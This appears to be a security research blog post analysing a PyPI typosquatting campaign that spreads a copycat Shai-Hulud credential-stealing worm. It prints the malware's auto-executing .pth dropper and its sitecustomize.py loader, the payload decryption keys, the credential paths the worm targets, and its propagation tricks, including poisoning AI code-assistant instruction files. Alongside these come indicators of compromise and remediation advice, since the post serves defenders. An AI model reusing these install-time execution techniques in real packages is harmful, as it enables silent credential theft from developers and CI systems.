Published on: June 9, 2026

8 min read

Shai-Hulud copycat campaign targets Python developers through PyPI typosquatting

GitLab’s Vulnerability Research team has uncovered a new Python supply chain attack targeting PyPI, deploying the Shai-Hulud worm to steal credentials from CI/CD systems.

GitLab's Vulnerability Research team has identified a coordinated supply chain attack on PyPI deploying a copy of the Shai-Hulud malware. We found five malicious packages: four typosquats impersonating Flask, Requests, and NumPy, and one weaponized legitimate project. The packages execute code at install time, with no import or function call required, and carry a self-propagating credential stealer that targets CI/CD environments across all major cloud providers.

We confirmed that GitLab was not using any of the affected packages and are sharing our findings to help the broader security community respond effectively.

Inside the attack

Our monitoring systems flagged five malicious PyPI packages from a single account (elitexp) on June 7, 2026. Four are typosquats:

  • rlask and tlask, typosquats of Flask
  • rsquests, a typosquat of Requests
  • nhmpy, a typosquat of NumPy

The fifth, mflux-streamlit, is a legitimate project with real users that the attacker weaponized by publishing malicious versions 0.0.3 and 0.0.4 after the typosquat wave.

The attacker published clean "probe" versions first, with version numbers matching the real latest releases exactly (Flask 3.1.3, Requests 2.34.2, and NumPy 2.4.6). Once these were indexed without issue, the attacker pushed new versions with the worm payload baked in.

This is a copycat deployment. TeamPCP, the group behind Shai-Hulud, open-sourced the worm's code on May 12, 2026. We've been tracking independent actors picking up the toolkit and aiming it at new targets since then. This campaign brings the same worm to the Python ecosystem.

Technical analysis

Initial infection vector

The original npm variant used a preinstall script. This campaign takes a different approach, exploiting Python's .pth file mechanism. Wheel packages can ship .pth files that Python processes automatically on startup, requiring no explicit import. Each malicious package includes a file like rlask-setup.pth containing a one-liner dropper:

      import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')

    

The dropper checks for a marker file (.bun_ran in the system temp directory) to avoid re-execution, then downloads the Bun JavaScript runtime from GitHub and uses it to execute a 5 MB obfuscated JavaScript payload bundled in the package.

Early versions of rlask also included a sitecustomize.py file as a backup execution path. Python auto-imports sitecustomize on startup, and this file searched sys.path for the hidden _index.js payload:

      import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, "_index.js")
  if os.path.exists(js):
    subprocess.run(["node", js])
    break

    

The attacker dropped this backup mechanism in later versions, apparently finding the .pth approach sufficient on its own.

Payload obfuscation

The JavaScript payload is wrapped in three layers:

  1. A ROT-N character cipher applied to an integer array (the rotation value varies per package: ROT-13 for [email protected], ROT-17 for rsquests, ROT-25 for tlask)
  2. AES-128-GCM encryption with hardcoded keys, producing two encrypted blobs
  3. Standard variable-name mangling (_0x prefix obfuscation) on the inner payload

We decrypted the payload through static analysis without executing any code. The first blob (907 bytes) is the Bun runtime downloader. The second blob (772 KB) is the complete Shai-Hulud credential stealer, containing 2,538 hardcoded strings.

For researchers performing their own analysis, here are the AES decryption keys:

LayerKeyIV
Bun downloaderc95506221d18936328fbc7ddcd21e3dd48da5faeafac0ac88a410bb0
Worm payload7557c4e782a0622159476d1ea10d523655a7d25e0e61b77cc175bcc3

Credential harvesting

Once running, the worm goes after credentials across every major cloud and CI/CD platform:

  • GitHub Actions: GITHUB_TOKEN, personal access tokens, fine-grained tokens, OIDC tokens, organization and repository secrets, Actions artifacts, and runner process memory
  • AWS: IAM access keys, secret keys, session tokens, IMDS instance credentials (169[.]254[.]169[.]254), Secrets Manager entries, SSM parameters, STS federation tokens
  • Azure: Client secrets, managed identity tokens, Key Vault secrets, federated credentials, Microsoft Graph API tokens
  • GCP: Service account keys, application default credentials, cloud-platform scope tokens
  • HashiCorp Vault: Vault tokens from seven known filesystem paths (/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token, and others), plus API access and Kubernetes Vault auth
  • npm / JFrog: npm tokens, JFrog/Artifactory API keys, OIDC token exchange
  • PyPI: Publishing tokens, OIDC mint tokens
  • RubyGems: API keys, gem publishing credentials
  • SSH: Private keys for lateral movement
  • Kubernetes: Service account tokens, kubeconfig files
  • Sigstore: OIDC tokens and Fulcio signing certificates, which would allow the attacker to sign artifacts under a trusted identity
  • Databases: MongoDB, MySQL, PostgreSQL, and Redis connection strings with embedded passwords

Self-propagation

Like the original npm variant, this is not just a stealer. It propagates. Using stolen credentials, the worm:

  • Commits .github/setup.js and workflow files to accessible GitHub repositories, causing the worm to re-execute in other CI pipelines
  • Injects .github/copilot-instructions.md to poison AI code assistants
  • Publishes additional poisoned packages to PyPI, npm, and RubyGems using stolen registry tokens
  • Attempts privilege escalation on self-hosted CI runners by injecting sudoers rules
  • Checks for StepSecurity's harden-runner and adjusts behavior if detected

The attacker

All five packages are owned by the PyPI account elitexp. The account was created in November 2024 with a legitimate package (mflux-streamlit, a Streamlit UI for image generation with 11 stars on GitHub). The associated GitHub account (github[.]com/elitexp) is 13+ years old with 43 public repositories, including university coursework and Laravel projects.

Upload metadata shows all packages were published using Bun/1.3.14 as the user-agent, the same runtime the malware downloads as part of its execution chain.

The attacker also weaponized mflux-streamlit itself. Versions 0.0.1 and 0.0.2 are clean, but Versions 0.0.3 and 0.0.4, published at 15:23 and 15:37 UTC after the typosquat campaign, contain the same .pth dropper and obfuscated payload. This makes the attack more dangerous than a typical typosquat: mflux-streamlit is a real project with existing users who may receive the poisoned update through normal dependency resolution.

Indicators of compromise

TypeIndicatorDescription
packagerlask 3.1.4-3.1.7Malicious Flask typosquat
packagetlask 3.1.4Malicious Flask typosquat
packagersquests 2.34.3Malicious Requests typosquat
packagenhmpy 2.4.7Malicious NumPy typosquat
packagemflux-streamlit 0.0.3, 0.0.4Weaponized legitimate package
file{package}-setup.pthAuto-executing dropper (SHA256: 6506d317...)
filesitecustomize.pyBackup auto-execution (present in rlask only)
file{package}/_index.jsObfuscated worm payload (5.2MB)
file.bun_ranExecution marker in system temp directory
networkhxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zipBun runtime download
networkhxxps[://]upload[.]pypi[.]org/legacy/Worm publishes poisoned PyPI packages
networkhxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/AWS IMDS credential theft
networkhxxps[://]login[.]microsoftonline[.]com/Azure AD token acquisition
networkhxxps[://]fulcio[.]sigstore[.]devSigstore certificate request
actorelitexp (PyPI)Package owner
actorBun/1.3.14Upload user-agent

What to do if you're affected

If any of these packages were installed in your environment:

  1. Remove the package immediately and check for the .bun_ran marker file in your system temp directory.
  2. Rotate all credentials that were accessible to the environment where the package was installed. This includes CI/CD tokens, cloud provider credentials, SSH keys, and registry publishing tokens.
  3. Audit your GitHub repositories for unexpected commits, especially files matching .github/setup.js, .github/copilot-instructions.md, or modified workflow files.
  4. Check your package registry accounts (PyPI, npm, RubyGems) for packages you did not publish.
  5. Review CI/CD pipeline logs for unexpected Bun downloads or JavaScript execution.

Timeline

DateEvent
2026-05-12TeamPCP open-sources the Shai-Hulud worm
2026-06-07 13:47 UTCProbe versions published ([email protected], [email protected])
2026-06-07 14:20 UTCFirst malicious version ([email protected]), detected within 28 seconds
2026-06-07 14:24 UTCAutomated analysis complete, flagged as malicious/critical
2026-06-07 14:27-15:04 UTCSix more malicious versions published across all four package names
2026-06-07 15:23-15:37 UTCAttacker weaponizes their own legitimate mflux-streamlit package (v0.0.3, v0.0.4)
2026-06-07Investigation confirms full Shai-Hulud worm via static analysis
2026-06-07 16:01 UTCAll malicious packages reported to PyPI security team
2026-06-08 03:15:06 UTCAdded the Advisory to GitLab Advisory Database
2026-06-08PyPI removed all releases of the malicious packages

How GitLab can help you detect these packages

If you are using GitLab Ultimate, you can use Dependency Scanning to automatically surface exposure to these packages in your projects. We have filed advisories (GMS-2026-572 through GMS-2026-576) covering all five packages in the GitLab Advisory Database. Once merged, any project with Dependency Scanning enabled will flag these packages in pipeline results and the Vulnerability Report.

For teams managing many repositories, GitLab Duo Chat with the Security Analyst Agent can help triage quickly. Ask questions like:

  • "Are any of my dependencies affected by the Shai-Hulud PyPI campaign?"
  • "Does this project have any malicious Python dependencies?"

Looking ahead

We expected this campaign after TeamPCP open-sourced the Shai-Hulud worm in May. Independent actors are picking up the toolkit and deploying it against new ecosystems. The Python variant uses a different initial infection vector (.pth files instead of preinstall scripts) but carries the same credential harvesting and self-propagation code underneath.

Our monitoring systems continue to track copycat deployments across npm, PyPI, and other registries. We will update this post as more information becomes available.

Find more articles from the Vulnerability Research team on our Security Labs site.

We want to hear from you

Enjoyed reading this blog post or have questions or feedback? Share your thoughts by creating a new topic in the GitLab community forum.

Share your feedback

Start building faster today

See what your team can do with the intelligent orchestration platform for DevSecOps.